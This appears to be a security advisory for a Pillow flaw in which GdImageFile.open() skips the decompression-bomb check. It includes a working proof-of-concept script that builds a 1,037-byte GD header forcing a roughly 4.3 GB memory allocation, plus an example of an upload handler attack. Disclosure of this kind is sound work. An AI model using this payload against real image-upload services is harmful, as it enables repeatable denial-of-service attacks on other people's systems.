CVE-2026-55380

Description

PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

def _open(self) -> None:
    s = self.fp.read(1037)
    if i16(s) not in [65534, 65535]:
        raise SyntaxError("Not a valid GD 2.x .gd file")
    self._mode = "P"
    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each
    # NO _decompression_bomb_check() call here ←
    ...
    self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

load() → load_prepare() → Image.core.new("P", (65535, 65535))
# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

Field	Value
Maximum width from header	65,535 (unsigned 16-bit)
Maximum height from header	65,535 (unsigned 16-bit)
Maximum pixel count	65,535 × 65,535 = 4,294,836,225
DecompressionBombError threshold	178,956,970 (2 × MAX_IMAGE_PIXELS)
Overshoot ratio	24× above DecompressionBombError threshold
Memory at max dimensions	≈ 4.3 GB (palette-mode: 1 byte/pixel)
Minimum attack file size	1,037 bytes (header only — no pixel data needed)

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
self._size = i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size)   # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
"""
import io, struct
from PIL import GdImageFile, Image

# Build minimal 1037-byte GD 2.x palette-mode header:
#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig          = struct.pack(">H", 0xFFFE)       # 65534 = GD 2.x magic
w            = struct.pack(">H", 65535)         # max width
h            = struct.pack(">H", 65535)         # max height
true_color   = b"\x00"                          # 0 = palette mode
tindex       = struct.pack(">I", 0xFFFFFFFF)    # > 255 = no transparency
colors_used  = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037

# Confirm: standard Image.open() path BLOCKS this size
try:
    Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
    print(f"[BLOCKED] Image.open() path: {e}")

# Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f"         No _decompression_bomb_check called — 4.3 GB allocation not blocked")

# Trigger load_prepare() → Image.core.new("P", (65535, 65535))
try:
    img.load()
except OSError:
    print(f"[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted")

print(f"\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
print(f"[MATH]   Attack file: 1,037 bytes only")

Expected output:

[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
pixels, could be decompression bomb DOS attack.
[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
         No _decompression_bomb_check called — 4.3 GB allocation not blocked
[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted

[MATH]   4,294,836,225 pixels = 24.0× error threshold
[MATH]   Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

Path	File size	Effect
Transient (header only)	1,037 bytes	load_prepare() attempts 4.3 GB C allocation → OSError after spike
Persistent (full pixel data)	~4.3 GB	load() completes, 4.3 GB stays in memory for object lifetime

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario:

from PIL import GdImageFile

# Application accepts user-uploaded .gd files
img = GdImageFile.open(user_uploaded_file)   # succeeds — no bomb check
img.load()                                    # triggers 4.3 GB C-heap allocation

Impact

• Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.
• Confidentiality: None
• Integrity: None
• Authentication required: No — any public endpoint accepting image uploads is affected
• User interaction: None

Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.